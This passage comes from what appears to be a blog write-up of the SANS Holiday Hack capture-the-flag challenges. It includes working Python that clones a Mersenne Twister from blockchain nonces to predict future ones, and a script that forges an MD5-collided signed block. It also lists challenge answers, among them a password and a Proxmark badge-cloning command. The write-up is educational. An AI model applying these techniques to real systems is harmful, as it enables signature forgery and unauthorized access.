                if all(p is not None for p in [index, block_data['documents'], block_data['pid'], block_data['rid'], block_data['score'], block_data['sign'], previous_hash]):
                    self.index = index
                    if self.index == 0:
                        self.nonce = 0 # genesis block
                    else:
                        self.nonce = random.randrange(0xFFFFFFFFFFFFFFFF)

They are generated with random.randrange. Is this function cryptographically secure? Let's check the Python documentation:

Almost all module functions depend on the basic function random(), which generates a random float uniformly in the semi-open range [0.0, 1.0). Python uses the Mersenne Twister as the core generator. It produces 53-bit precision floats and has a period of 2**19937-1. The underlying implementation in C is both fast and threadsafe. The Mersenne Twister is one of the most extensively tested random number generators in existence. However, being completely deterministic, it is not suitable for all purposes, and is completely unsuitable for cryptographic purposes.

The randomness is produced via a Mersenne Twister. It's a Pseudo-Random Number Generator (emphasis on Pseudo). It's not meant to be cryptographically secure. In fact, it has serious drawbacks that are detailed in this KringleCon talk from Tom Liston.

Basically, a Mersenne Twister has an internal state of 624 32-bit integers. When a caller requests 32 bits of randomness, the Mersenne Twister takes an integer from its internal state, tampers it, then returns it. It then moves onto the next integer in the state, and so on. Once every 624 integers have been tampered with, the internal state is twisted, and the Twister starts again from the first integer.

The problem is that the tampering operation is reversible. So, given the output of a Mersenne Twister, we can untamper it, and get back the integer that was in the internal state. If we have 624 outputs, we can reconstruct the entire internal state of the Mersenne Twister. And this is a problem, because two Mersenne Twisters with the same internal states will produce the same numbers.

But wait, a Mersenne Twister produces random integers of 32 bits, so how can we get nonces wich are 64 bit long? To understand this, we have to look at how random.randrange works. Remember that it's the function used to generated the nonces:

self.nonce = random.randrange(0xFFFFFFFFFFFFFFFF)

Here's its implementation. The interesting chunk of code is this one:

    if stop is None:
        if istart > 0:
            return self._randbelow(istart)

Indeed, in our example random.randrange is called with only a upper value, so we enter this if clause. This means that the generation is delegated to _randbelow. It's defined here as equal to _randbelow_with_getrandbits, which is implemented here:

def _randbelow_with_getrandbits(self, n):
    "Return a random int in the range [0,n).  Returns 0 if n==0."

    if not n:
        return 0
    getrandbits = self.getrandbits
    k = n.bit_length()  # don't use (n-1) here because n can be 1
    r = getrandbits(k)  # 0 <= r < 2**k
    while r >= n:
        r = getrandbits(k)
    return r

Basically, it computes k, the size in bits of our upper limit, and generates k random bits, using getrandbits. In our case, k is equal to 64, since our upper limit is 0xFFFFFFFFFFFFFFFF.

So, let's check function getrandbits. But where is it implemented? There is one function with this name in our random.py file, but it's in another class, the class SystemRandom, which uses a source of entropy from the operating system. But it's not the class we're using here.

In fact, our implementation is here, coded in C. Let's study how it works. We can discard the beginning of the function, since in our case, k=64:

words = (k - 1) / 32 + 1;
wordarray = (uint32_t *)PyMem_Malloc(words * 4);

First, it creates an array that will contain the words receiving our random values. In our case, there are two words (two 32-bit words = one 64-bit nonce).

#if PY_LITTLE_ENDIAN
    for (i = 0; i < words; i++, k -= 32)
#else
    for (i = words - 1; i >= 0; i--, k -= 32)
#endif

Depending on the endianness, it will generate the least or most significant bits first.

{
    r = genrand_uint32(self);
    if (k < 32)
        r >>= (32 - k);  /* Drop least significant bits */
    wordarray[i] = r;
}

It generates a 32-bit random value with genrand_uint32 (our Mersenne Twister), and store it into our word-array. It does so until every word has been generated. It handles the case where k is not a multiple of 32, but it does not concern us (since k=64=2*32).

In conclusion, our 64-bit nonces are created by calling our Mersenne Twister twice and concatenating our two 32-bit integers. The order of concatenation depends on the endianness. Let's check on our machine:

>>> r1 = random.Random(0) # We create two random generators, with the same seed
>>> r2 = random.Random(0)
>>> hex(r1.randrange(0XFFFFFFFFFFFFFFFF)) # This create a nonce, just like in the blockchain code
'0x629f6fbed82c07cd'
>>> hex(r2.getrandbits(32)) # Here, we call the Mersenne Twister twice
'0xd82c07cd'
>>> hex(r2.getrandbits(32))
'0x629f6fbe'

We can see that our nonce is the concatenation of our two Mersenne Twister generated integers. The first integer is used in the least significant bits.

If we need 624 integers to reconstruct our Mersenne Twister internal state, we only need half of that of nonces (so 312 nonces). Do we have enough nonces in our blockchain?

>>> from naughty_nice import Chain
>>> c = Chain(load=True, filename='blockchain.dat')
>>> len(c.blocks)
1548

There are 1548 blocks in the chain, each with a nonce. This means 1548 nonces, and therefore 3096 Mersenne Twister generated integers. More than enough to reconstruct our internal state!

To help us in our task, Tom Liston (from the KringleCon talk) created a simple Python library that reimplements the Mersenne Twister in pure Python, with an untampering function. You can find it here on GitHub. Now, we have everything we need to generate future nonces in our blockchain!

The id of our lost block in the chain is 129996. Let's say we want to find the nonce value for block #130000. We have to generate four additional nonces.

Here's our source code:

#!/usr/bin/env python3
# File predict_nonces.py

from naughty_nice import Chain
from mt19937.mt19937 import mt19937, untemper

def nonce_2_words(nonce):
    word_msb = (nonce >> 32) & 0xFFFFFFFF
    word_lsb = nonce & 0xFFFFFFFF

    return (word_msb, word_lsb)

def words_2_nonce(word_msb, word_lsb):
    nonce = (word_msb << 32) + word_lsb

    return nonce

def generate_nonce(mt):
    lsb = mt.extract_number()
    msb = mt.extract_number()

    return words_2_nonce(msb, lsb)

def main():
    c = Chain(load=True, filename='blockchain.dat')
    mt = mt19937(0) # This will hold our cloned Mersenne Twister

    # For every block in the begining of the chain
    for i, b in enumerate(c.blocks[:312]):
        # We extract the two words generated by the Mersenne Twister
        msb, lsb = nonce_2_words(b.nonce)
        # We untamper them and store them in our new Mersenne Twister
        mt.MT[2*i] = untemper(lsb)
        mt.MT[2*i+1] = untemper(msb)

    # For every remaining block
    for test_b in c.blocks[312:]:
        # We test it the predicted nonce matches the actual nonce
        actual_nonce = test_b.nonce
        predicted_nonce = generate_nonce(mt)
        assert(actual_nonce == predicted_nonce)

    # We generate four blocks to determine the nonce for block #130000
    for i in range(4):
        predicted_nonce = generate_nonce(mt)
        print('Predicted nonce for block #{}: {:016x}'.format(129997+i, predicted_nonce))

if __name__ == '__main__':
    main()

Let's run our program:

$ ./predict_nonces.py
Predicted nonce for block #129997: b744baba65ed6fce
Predicted nonce for block #129998: 01866abd00f13aed
Predicted nonce for block #129999: 844f6b07bd9403e4
Predicted nonce for block #130000: 57066318f32f729d

Block #130000 will have a nonce equal to 57066318f32f729d.

Naughty/Nice List with Blockchain Investigation Part 2

Apparently, Jack Frost managed to modify the blockchain, to get a perfect nice score. Given the character, this is raising eyebrows. We're told that its block has a SHA256 sum of 58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f. Let's find Jack's block.

First, we save every block to a file:

>>> from naughty_nice import Chain
>>> c = Chain(load=True, filename='blockchain.dat')
>>> for i in range(len(c.blocks)):
...     c.save_a_block(i, './blocks/block_{}'.format(i))
...
>>>

Then we compute the SHA256 sum of every block, and find our match:

$ sha256sum ./blocks/* | grep 58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f
58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f  ./blocks/block_1010

So, Jack's block is at offset 1010 in the chain. Let's study it a little bit:

>>> c.blocks[1010]
Chain Index: 129459
              Nonce: a9447e5771c704f4
                PID: 0000000000012fd1
                RID: 000000000000020f
     Document Count: 2
              Score: ffffffff (4294967295)
               Sign: 1 (Nice)
         Data item: 1
               Data Type: ff (Binary blob)
             Data Length: 0000006c
                    Data: b'ea465340303a6079d3df2762be68467c27f046d3a7ff4e92dfe1def7407f2a7b73e1b759b8b919451e37518d22d987296fcb0f188dd60388bf20350f2a91c29d0348614dc0bceef2bcadd4cc3f251ba8f9fbaf171a06df1e1fd8649396ab86f9d5118cc8d8204b4ffe8d8f09'
         Data item: 2
               Data Type: 05 (PDF)
             Data Length: 00009f57
                    Data: b'255044462d312e[snip]
               Date: 03/24
               Time: 13:21:41
       PreviousHash: 4a91947439046c2dbaa96db38e924665
  Data Hash to Sign: 347979fece8d403e06f89f8633b5231a
          Signature: b'MJIxJy2iFXJRCN1EwDsqO9NzE2Dq1qlvZuFFlljmQ03+erFpqqgSI1xhfAwlfmI2MqZWXA9RDTVw3+aWPq2S0CKuKvXkDOrX92cPUz5wEMYNfuxrpOFhrK2sks0yeQWPsHFEV4cl6jtkZ//OwdIznTuVgfuA8UDcnqCpzSV9Uu8ugZpAlUY43Y40ecJPFoI/xi+VU4xM0+9vjY0EmQijOj5k89/AbMAD2R3UbFNmmR61w7cVLrDhx3XwTdY2RCc3ovnUYmhgPNnduKIUA/zKbuu95FFi5M2r6c5Mt6F+c9EdLza24xX2J4l3YbmagR/AEBaF9EBMDZ1o5cMTMCtHfw=='

We can see that Jack's block effectively has a perfect score of 0xffffffff, with a naughty/nice sign equal to 1 (meaning "Nice"). His block also has two documents: one binary blob with what seems to be random data, and a PDF. Let's extract the latter:

>>> c.blocks[1010].dump_doc(0)
Document dumped as: 129459.pdf

You can download the file here. Here's the content:

“Jack Frost is the kindest, bravest, warmest, most wonderful being I’ve ever known in my life.”

– Mother Nature

“Jack Frost is the bravest, kindest, most wonderful, warmest being I’ve ever known in my life.”

– The Tooth Fairy

“Jack Frost is the warmest, most wonderful, bravest, kindest being I’ve ever known in my life.”

– Rudolph of the Red Nose

“Jack Frost is the most wonderful, warmest, kindest, bravest being I’ve ever known in my life.”

– The Abominable Snowman

With acclaim like this, coming from folks who really know goodness when they see it, Jack Frost should undoubtedly be awarded a huge number of Naughty/Nice points.

Shinny Upatree

3/24/2020

Hmm, something seems fishy... Let's examine this PDF a little more closely with pdfid:

$ pdfid ./129459.pdf
PDFiD 0.2.7 ./129459.pdf
 PDF Header: %PDF-1.3
 obj                   23
 endobj                23
 stream                 8
 endstream              8
 xref                   1
 trailer                1
 startxref              1
 /Page                  2
 /Encrypt               0
 /ObjStm                0
 /JS                    0
 /JavaScript            0
 /AA                    0
 /OpenAction            0
 /AcroForm              0
 /JBIG2Decode           0
 /RichMedia             0
 /Launch                0
 /EmbeddedFile          0
 /XFA                   0
 /Colors > 2^24         0

What, two /Page objects? But there's only one page in the PDF. Something doesn't add up, let's examine it even more closely, with PDF Stream Dumper.

NB: to understand how to navigate inside a PDF file, I used this thorough article from Infosec Institude, as well as this simple image from Ange Albertini, aka @corkami, our national treasure.

The trailer is referencing object #1 as the root of the PDF document. Let's check it:

It's an object of type /Catalog, pointing to object #2 as pages. But something's off with this object. First, there's the _Go_Away/Santa text, and the binary blob at the end.

Anyway, let's take a look at object #2:

It's indeed a /Pages object, pointing to object #23 for the /Page. But if we keep exploring 129459.pdf, we find this under object #3:

Another /Pages object, pointing to another /Page object. As pdfid pointed out, there seems to be two pages in this PDF file, but the catalog points to only one of them. What would happend if we modified the /Catalog (object #1) so that it pointed to object #3 instead of object #2? We can edit 129459.pdf with a binary editor to modify the "2" to a "3". Here's the file that we get:

Earlier today, I saw this bloke Jack Frost climb into one of our cages and repeatedly kick a wombat. I don’t know what’s with him... it’s like he’s a few stubbies short of a six-pack or somethin’. I don’t think the wombat was actually hurt... but I tell ya, it was more ‘n a bit shook up. Then the bloke climbs outtathe cage all laughin’ and cacklin’ like it was some kind of bonza joke. Never in my life have I seen someone who was that bloody evil...”

Quote from a Sidney (Australia) Zookeeper

I have reviewed a surveillance video tape showing the incident and found that it does, indeed, show that Jack Frost deliberately traveled to Australia just to attack this cute, helpless animal. It was appalling.

I tracked Frost down and found him in Nepal. I confronted him with the evidence and, surprisingly, he seems to actually be incredibly contrite. He even says that he’ll give me access to a digital photo that shows his “utterly regrettable” actions. Even more remarkably, he’s allowing me to use his laptop to generate this report – because for some reason, my laptop won’t connect to the WiFi here.

He says that he’s sorry and needs to be “held accountable for his actions.” He’s even said that I should give him the biggest Naughty/Nice penalty possible. I suppose he believes that by cooperating with me,that I’ll somehow feel obliged to go easier on him. That’s not going to happen... I’m WAAAAY smarter than old Jack.

Oh man... while I was writing this up, I received a call from my wife telling me that one of the pipes inour house back in the North Pole has frozen and water is leaking everywhere. How could that have happened?

Jack is telling me that I should hurry back home. He says I should save this document and then he’ll go ahead and submit the full report for me. I’m not completely sure I trust him, but I’ll make myself a note and go in and check to make absolutely sure he submits this properly.

Shinny Upatree

3/24/2020

Gasp! It looks like Jack Frost managed to modify the PDF sent by Shinny Upatree, as well as his naughty/nice sign! But how could he do that, when the blocks are signed? Well, remember that the hash function used to compute the signature is MD5, which is extremely insecure, since many collision attacks were found against it.

You can find more information on collision attacks on Ange Albertini's collisions repository on GitHub.

Let's take a look at the beginning of Jack Frost's block:

$ hexdump -C ./blocks/block_1010 | head -n 15
00000000  30 30 30 30 30 30 30 30  30 30 30 31 66 39 62 33  |000000000001f9b3|
00000010  61 39 34 34 37 65 35 37  37 31 63 37 30 34 66 34  |a9447e5771c704f4|
00000020  30 30 30 30 30 30 30 30  30 30 30 31 32 66 64 31  |0000000000012fd1|
00000030  30 30 30 30 30 30 30 30  30 30 30 30 30 32 30 66  |000000000000020f|
00000040  32 66 66 66 66 66 66 66  66 31 66 66 30 30 30 30  |2ffffffff1ff0000|
00000050  30 30 36 63 ea 46 53 40  30 3a 60 79 d3 df 27 62  |006c.FS@0:`y..'b|
00000060  be 68 46 7c 27 f0 46 d3  a7 ff 4e 92 df e1 de f7  |.hF|'.F...N.....|
00000070  40 7f 2a 7b 73 e1 b7 59  b8 b9 19 45 1e 37 51 8d  |@.*{s..Y...E.7Q.|
00000080  22 d9 87 29 6f cb 0f 18  8d d6 03 88 bf 20 35 0f  |"..)o........ 5.|
00000090  2a 91 c2 9d 03 48 61 4d  c0 bc ee f2 bc ad d4 cc  |*....HaM........|
000000a0  3f 25 1b a8 f9 fb af 17  1a 06 df 1e 1f d8 64 93  |?%............d.|
000000b0  96 ab 86 f9 d5 11 8c c8  d8 20 4b 4f fe 8d 8f 09  |......... KO....|
000000c0  30 35 30 30 30 30 39 66  35 37 25 50 44 46 2d 31  |0500009f57%PDF-1|
000000d0  2e 33 0a 25 25 c1 ce c7  c5 21 0a 0a 31 20 30 20  |.3.%%....!..1 0 |
000000e0  6f 62 6a 0a 3c 3c 2f 54  79 70 65 2f 43 61 74 61  |obj.<</Type/Cata|

We can see that the blob file aligns exactly to a multiple of 16 bytes. We can see that this is also the case with the weird binary we saw in the PDF's object #1:

$ hexdump -C ./129459.pdf | head -n 15
00000000  25 50 44 46 2d 31 2e 33  0a 25 25 c1 ce c7 c5 21  |%PDF-1.3.%%....!|
00000010  0a 0a 31 20 30 20 6f 62  6a 0a 3c 3c 2f 54 79 70  |..1 0 obj.<</Typ|
00000020  65 2f 43 61 74 61 6c 6f  67 2f 5f 47 6f 5f 41 77  |e/Catalog/_Go_Aw|
00000030  61 79 2f 53 61 6e 74 61  2f 50 61 67 65 73 20 32  |ay/Santa/Pages 2|
00000040  20 30 20 52 20 20 20 20  20 20 30 f9 d9 bf 57 8e  | 0 R      0...W.|
00000050  3c aa e5 0d 78 8f e7 60  f3 1d 64 af aa 1e a1 f2  |<...x..`..d.....|
00000060  a1 3d 63 75 3e 1a a5 bf  80 62 4f c3 46 bf d6 67  |.=cu>....bO.F..g|
00000070  ca f7 49 95 91 c4 02 01  ed ab 03 b9 ef 95 99 1c  |..I.............|
00000080  5b 49 9f 86 dc 85 39 85  90 99 ad 54 b0 1e 73 3f  |[I....9....T..s?|
00000090  e5 a7 a4 89 b9 32 95 ff  54 68 03 4d 49 79 38 e8  |.....2..Th.MIy8.|
000000a0  f9 b8 cb 3a c3 cf 50 f0  1b 32 5b 9b 17 74 75 95  |...:..P..2[..tu.|
000000b0  42 2b 73 78 f0 25 02 e1  a9 b0 ac 85 28 01 7a 9e  |B+sx.%......(.z.|
000000c0  0a 3e 3e 0a 65 6e 64 6f  62 6a 0a 0a 32 20 30 20  |.>>.endobj..2 0 |
000000d0  6f 62 6a 0a 3c 3c 2f 54  79 70 65 2f 50 61 67 65  |obj.<</Type/Page|
000000e0  73 2f 43 6f 75 6e 74 20  31 2f 4b 69 64 73 5b 32  |s/Count 1/Kids[2|

Seems like the usage of the UniColl attack against MD5. As detailed by Ange Albertini, it can be used to create a collision between two PDF files.

But wait, to implement these attacks, you would need to know the prefix of the file beforehand, and there's a random nonce at the beginning of each block, specifically to prevent such attacks. Well, as we saw in the previous section, we can predict future nonces.

Everything points to an MD5 collision:

Jack Frost modified his naughty/nice sign from "0" (0x30) to "1" (0x31) at offset 0x49 in his block
He then added an MD5 collision block as a binary blob, which lies between 0x54 and 0xc0 in the block
He also modified the PDF so that the catalog from pointing to "3" (0x33) to pointing to "2" (0x32), at offset 0x109 in his block
He then added an MD5 collision block at the end of the catalog, which lies between 0x10e and 0x18a in the block

Knowing all of this, we can recreate Jack's original block by switching this naughty/nice sign back to 0x30, the page in the catalog back to 0x33, and modifying one byte in each collision block to get our MD5 collision.

Here's our Python script to do so:

#!/usr/bin/env python3

from naughty_nice import Chain
from hashlib import md5, sha256

OFFSET_SIGN = 0x49 # The offset to the naughty/nice sign
FLIP_RANGE_SIGN = (0x54, 0xc0) # The range where we'll try to flip the byte

OFFSET_PAGE = 0x109 # The offset to the page pointer
FLIP_RANGE_PAGE = (0x10e, 0x18a) # The range where we'll try to flip the byte


def find_byte_to_flip(b_array, b_array_to_match, flip_range):
    # This is the MD5 to match
    target_md5 = md5(b_array_to_match).hexdigest()

    # We go through every byte in the flip range
    for i in flip_range:
        # We save the initial byte value before doing our modifications
        initial_byte = b_array[i]

        # We try every byte value possible
        for j in range(256):
            b_array[i] = j
            # If we have an MD5 match, we return it
            if md5(b_array).hexdigest() == target_md5 and b_array != b_array_to_match:
                print('Match found: offset {}, new_byte value 0x{:02x}'.format(i, j))
                return (i, j)

        # If we don't have a match, we restore the initial value
        b_array[i] = initial_byte

def main():
    # We load the block chain, and more specifically Jack's block
    c = Chain(load=True, filename='blockchain.dat')
    jf_block = c.blocks[1010]
    jf_block_data = jf_block.block_data()

    # We create a copy of the altered data to recreate the original data
    jf_orig_data = bytearray(jf_block.block_data())

    # We modify the naughty/nice sign from "1" (0x31) to "0" (0x30)
    jf_orig_data[OFFSET_SIGN] = 0x30
    sign_flip_offset, sign_flip_value = find_byte_to_flip(
            jf_orig_data[:FLIP_RANGE_SIGN[1]],
            jf_block_data[:FLIP_RANGE_SIGN[1]],
            range(*FLIP_RANGE_SIGN))
    jf_orig_data[sign_flip_offset] = sign_flip_value

    # We modify the page pointer in the PDF from "2" (0x32) to "3" (0x33)
    jf_orig_data[OFFSET_PAGE] = 0x33
    page_flip_offset, page_flip_value = find_byte_to_flip(
            jf_orig_data[:FLIP_RANGE_PAGE[1]],
            jf_block_data[:FLIP_RANGE_PAGE[1]],
            range(*FLIP_RANGE_PAGE))
    jf_orig_data[page_flip_offset] = page_flip_value

    # We create the block from the data, the hash, and the signature
    jf_orig_block = jf_orig_data + \
            bytearray(jf_block.hash.encode('utf-8')) + \
            bytearray(jf_block.sig)

    # We save it to a file
    with open('./jf_orig_block', 'wb') as f:
        f.write(jf_orig_block)

if __name__ == '__main__':
    main()

Let's run it:

$ ./reconstruct_jack_block.py
Match found: offset 137, new_byte value 0xd7
Match found: offset 329, new_byte value 0x1b
$ md5sum ./blocks/block_1010
b10b4a6bd373b61f32f4fd3a0cdfbf84  ./blocks/block_1010
$ md5sum ./jf_orig_block
b10b4a6bd373b61f32f4fd3a0cdfbf84  ./jf_orig_block
$ sha256sum ./jf_orig_block
fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb  ./jf_orig_block

We have successfully reconstructed Jack's original block. We can see that the MD5 hashes of our original block and the altered block that is in the block chain match. The SHA256 sum of Jack's block is fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb.

We can even rebuild the original blockchain, and check that the signatures are still valid:

$ cp -r blocks/ blocks_orig/ # we copy our original extracted blocks
$ cp jf_orig_block ./blocks_orig/block_1010 # we replace Jack's block with our recovered original block
$ cat ./blocks_orig/* > blockchain_orig.dat
$ sha256sum blockchain.dat blockchain_orig.dat
a29c3b456566a321e69bdcebed58eccd452e377941d6d44e40ae8c37e9629e5f  blockchain.dat
37679c58c8c2aa0c0939df5187064543181e5118490b0be21e7bbcf25ade693b  blockchain_orig.dat

We recreated the original blockchain, and we can see that the SHA256 sums don't match. Let's verify the original chain:

>>> from Crypto.PublicKey import RSA
>>> with open('official_public.pem', 'rb') as fh:
...     official_public_key = RSA.importKey(fh.read())
...
>>> c_orig = Chain(load=True, filename='blockchain_orig.dat')
>>> c_orig.verify_chain(official_public_key, previous_hash=c_orig.blocks[0].previous_hash)
True

Our original chain is indeed correct, thanks to the MD5 collision.

Conclusion

We can now go through the door in Santa's office. We arrive on the roof, where Jack Frost has been apprehended.

Jack Frost says

My plan was NEARLY perfect… but I never expected someone with your skills to come around and ruin my plan for ruining the holidays!

And now, they’re gonna put me in jail for my deeds.

Santa says

Thank you for foiling Jack’s foul plot!

He sent that magical portrait so he could become me and destroy the holidays!

Due to your incredible work, you have set everything right and saved the holiday season!

Congratulations on a job well done!

Ho Ho Ho!

Thank you Santa, you're making me blush.

Some personal questions still remain:

Was the ImageMagick trail in the tag generator really a dead-end? I still wonder why opening files didn't work in the real environment whereas it worked on my machine.
How come I had to specify both a preinst and a postinst in my malicious .deb file for my payload to be executed?
What about the TLS server on the hijacked machine in the ARP shenanigans challenge?
There's also some binary blob at the end of the trailer of 129459.pdf. I couldn't determine if it was part of the MD5 collision attack or not. We didn't need to modify it at all, so I'm wondering why it was there in the first place.

If anyone has any answers, I'd be glad to know them!

Thanks to the SANS team for yet again a superb Christmas challenge. I particularly enjoyed the ARP challenge, and of course this last crypto challenge was a delight! Can't wait for next year!

Answer to the questions

There is a photo of Santa's Desk on that billboard with his personal gift list. What gift is Santa planning on getting Josh Wright for the holidays?

Santa is planning on getting a Proxmark for Josh Wright.

When you unwrap the over-wrapped file, what text string is inside the package?

The text string says North Pole: The Frostiest Place on Earth.

Help Sugarplum Mary in the Courtyard find the supervisor password for the point-of-sale terminal. What's the password?

The password is santapass.

Talk to Pepper Minstix in the entryway to get some hints about the Santavator.

We managed to operate the Santavator in... unauthorized ways.

Open the HID lock in the Workshop.

We can open the HID lock with the command lf hid sim -r 2006e22f13.

Access the Splunk terminal in the Great Room. What is the name of the adversary group that Santa feared would attack KringleCon?

The adversary group Santa feared is The Lollipop Guild.

Jack Frost is somehow inserting malicious messages onto the sleigh's CAN-D bus. We need you to exclude the malicious messages and no others to fix the sleigh.

We were able to defrost the sleigh using filters:

ID: 19B. Operator: Equals. Criterion: 0000000F2057.
ID: 080. Operator: Less. Criterion: 000000000000.

Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ?

The variable GREETZ is equal to JackFrostWasHere.

Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?

The person who recused hersel was Tanta Kringle.

Bypass the Santavator fingerprint sensor. Enter Santa's office without Santa's fingerprint.

Several ways to bypass the fingerprint sensor were detailed in this section and this section.

a. Even though the chunk of the blockchain that you have ends with block 129996, can you predict the nonce for block 130000?

The nonce for block 130000 has a value of 57066318f32f729d.

b. The SHA256 of Jack's altered block is: 58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f. If you're clever, you can recreate the original version of that block by changing the values of only 4 bytes. Once you've recreated the original block, what is the SHA256 of that block?

Jack's original block has a SHA256 sum of fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb.

SANS Christmas Challenge 2019

2020-01-14T00:00:00+01:00

On the twelfth day of Christmas, my true love gave to me:

Twelve Phishers phishing

Eleven Shells a-popping

Ten Passwords spraying

Nine Splunks a-splunking

Eight Machines learning

Seven Metasploit scanning

Six Blue Teamers crying

Five Golden Tickets

Four Domain Hashes

Three Malicious Macros

Two LAN Turtles

and a Pwnage in a Pear Tree

Here's my write-up for the 2019 SANS Christmas Challenge.

Table of contents

Introduction
Objective 0: Talk to Santa in the Quad
Objective 1: Find the Turtle Doves
Objective 2: Unredact Threatening Document
Objective 3:
- Bushy Evergreen's Cranberry Pi Challenge
- Windows Log Analysis: Evaluate Attack Outcome
Objective 4:
- SugarPlum Mary's Cranberry Pi Challenge
- Windows Log Analysis: Determine Attacker Technique
Objective 5:
- Sparkle Redberry's Canberry Pi Challenge
- Network Log Analysis: Determine Compromised System
Objective 6: Splunk
- Answering the challenge question
- Answering the training questions
Objective 7:
Objective 8:
- Alabaster Snowball's Cranberry Pi Challenge
- Bypassing the Frido Sleigh CAPTEHA
Objective 9:
- Pepper Minstix's Cranberry Pi Challenge
- Retrieve Scraps of Paper from Server
Objective 10:
- Holly Evergreen's Cranberry Pi Challenge
- Recover Cleartext Document
Objective 11:
- Kent Tinseltooth's Cranberry Pi Challenge
- Open the Sleigh Shop Door
Objective 12:
- Wunorse Openslae's Cranberry Pi Challenge
- Filter Out Poisoned Sources of Weather Data
Conclusion
Answer to the questions

Introduction

This write-up received a super honorable mention from the SANS team. I was also a runner up for the Best Overall Answer. Thank you so much for this, I'm incredibly humbled!

Santa is organizing a new KringleCon, with new speakers and all that! It's taking place at Elf University.

Santa says

Welcome to the North Pole and KringleCon 2!

Last year, KringleCon hosted over 17,500 attendees and my castle got a little crowded.

We moved the event to Elf University (Elf U for short), the North Pole’s largest venue.

Please feel free to explore, watch talks, and enjoy the con!

Here are the questions we must answer:

Someone sent a threatening letter to Elf University. What is the first word in ALL CAPS in the subject line of the letter? Please find the letter in the Quad.
We're seeing attacks against the Elf U domain! Using the event log data, identify the user account that the attacker compromised using a password spray attack.
Using these normalized Sysmon logs, identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process.
The attacks don't stop! Can you help identify the IP address of the malware-infected system using these Zeek logs?
Access https://splunk.elfu.org/ as elf with password elfsocks. What was the message for Kent that the adversary embedded in this attack? The SOC folks at that link will help you along!
Gain access to the steam tunnels. Who took the turtle doves? Please tell us their first and last name.
Help Krampus beat the Frido Sleigh contest.
Gain access to the data on the Student Portal server and retrieve the paper scraps hosted there. What is the name of Santa's cutting-edge sleigh guidance system?
The Elfscrow Crypto tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. We can't send you the source, but we do have debug symbols that you can use.

Recover the plaintext content for this encrypted document. We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.

What is the middle line on the cover page? (Hint: it's five words)
Visit Shinny Upatree in the Student Union and help solve their problem. What is written on the paper you retrieve for Shinny?
Use the data supplied in the Zeek JSON logs to identify the IP addresses of attackers poisoning Santa's flight mapping software. Block the 100 offending sources of information to guide Santa's sleigh through the attack. Submit the Route ID ("RID") success value that you're given.

Now, this year I did use some hints, because there were some questions that were outside my domain of expertise. So I thought I wouldn't restrict myself, so that I could get to the end of the challenge. Anyway, let's get to it!

Objective 0: Talk to Santa in the Quad

The first objective is to talk to Santa in the Quad.

Santa says

This is a little embarrassing, but I need your help.

Our KringleCon turtle dove mascots are missing!

They probably just wandered off.

Can you please help find them?

To help you search for them and get acquainted with KringleCon, I’ve created some objectives for you. You can see them in your badge.

Where's your badge? Oh! It's that big, circle emblem on your chest - give it a tap!

We made them in two flavors - one for our new guests, and one for those who've attended both KringleCons.

After you find the Turtle Doves and complete objectives 2-5, please come back and let me know.

Not sure where to start? Try hopping around campus and talking to some elves.

If you help my elves with some quicker problems, they'll probably remember clues for the objectives.

Alright, so the KringleCon's mascots are missing and we must find them. There are also some more objectives we must fulfill before coming back to Santa. Let's look for the missing turtle doves!

Objective 1: Find the Turtle Doves

The two turtle doves are simply in the student union building, next to the chimney.

Michael and Jane, the turtle doves, say

Hoot Hooot?

Let's go back to the squad to tell Santa.

Objective 2: Unredact Threatening Document

In a corner of the squad, we find a letter addressed to the personnel of Elf U, with some redacted content.

However, we can easily recover the redacted content by selecting the text, and copying/pasting it into a text editor.

Redacted letter says

Date: February 28, 2019

To the Administration, Faculty, and Staff of Elf University 17 Christmas Tree Lane North Pole

From: A Concerned and Aggrieved Character

Subject: DEMAND: Spread Holiday Cheer Confidential to Other Holidays and Mythical Characters... OR ELSE!

Attention All Elf University Personnel,

It remains a constant source of frustration that Elf University and the entire operation at the North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE you to consider lending your considerable resources and expertise in providing merriment, cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical Confidential characters.

For centuries, we have expressed our frustration at your lack of willingness to spread your cheer beyond the inaptly-called “Holiday Season.” There are many other perfectly fine holidays and mythical characters that need your direct support year-round.

If you do not accede to our demands, we will be forced to take matters into our own hands. We do not make this threat lightly. You have less than six months to act demonstrably.

Sincerely,

—A Concerned and Aggrieved Character

Objective 3:

Bushy Evergreen's Cranberry Pi Challenge

Bushy is still having problem exiting his editor. But this one is an old one.

                  ........................................
               .;oooooooooooool;,,,,,,,,:loooooooooooooll:
             .:oooooooooooooc;,,,,,,,,:ooooooooooooollooo:
           .';;;;;;;;;;;;;;,''''''''';;;;;;;;;;;;;,;ooooo:
         .''''''''''''''''''''''''''''''''''''''''';ooooo:
       ;oooooooooooool;''''''',:loooooooooooolc;',,;ooooo:
    .:oooooooooooooc;',,,,,,,:ooooooooooooolccoc,,,;ooooo:
  .cooooooooooooo:,''''''',:ooooooooooooolcloooc,,,;ooooo,
  coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;ooo,
  coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;l'
  coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,..
  coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc.
  coooooooooooooo,,,,,,,,,;ooooooooooooooloooo:.
  coooooooooooooo,,,,,,,,,;ooooooooooooooloo;
  :llllllllllllll,'''''''';llllllllllllllc,
Oh, many UNIX tools grow old, but this one's showing gray.
That Pepper LOLs and rolls her eyes, sends mocking looks my way.
I need to exit, run - get out! - and celebrate the yule.
Your challenge is to help this elf escape this blasted tool.
-Bushy Evergreen
